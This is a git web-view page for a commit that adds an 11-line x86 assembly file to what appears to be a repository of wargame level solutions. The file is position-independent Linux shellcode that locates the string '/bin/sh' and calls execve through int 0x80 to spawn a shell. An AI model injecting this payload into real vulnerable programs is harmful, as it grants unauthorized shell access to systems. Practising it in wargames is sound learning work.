summaryrefslogtreecommitdiff
path: root/shellcode/exec-reloc.S
diff options
context:
space:
mode:
authorIru Cai <mytbk920423@gmail.com>2018-10-05 17:41:48 +0800
committerIru Cai <mytbk920423@gmail.com>2018-10-05 17:41:48 +0800
commit62d1287693cbb282570c52f44bfcc0be0e590d7f (patch)
tree92261652f6ae3a139a8c36bdf0caf3182ed79c51 /shellcode/exec-reloc.S
downloadiogame-62d1287693cbb282570c52f44bfcc0be0e590d7f.tar.xz
level 1~7, shellcode
Diffstat (limited to 'shellcode/exec-reloc.S')
-rw-r--r--shellcode/exec-reloc.S11
1 files changed, 11 insertions, 0 deletions
diff --git a/shellcode/exec-reloc.S b/shellcode/exec-reloc.S
new file mode 100644
index 0000000..077babb
--- /dev/null
+++ b/shellcode/exec-reloc.S
@@ -0,0 +1,11 @@
+.global _start
+_start:
+movl $11, %eax
+call next
+next:
+movl (%esp), %ebx
+addl $(_cmd-next), %ebx
+int $0x80
+_cmd:
+.ascii "/bin/sh"
+.byte 0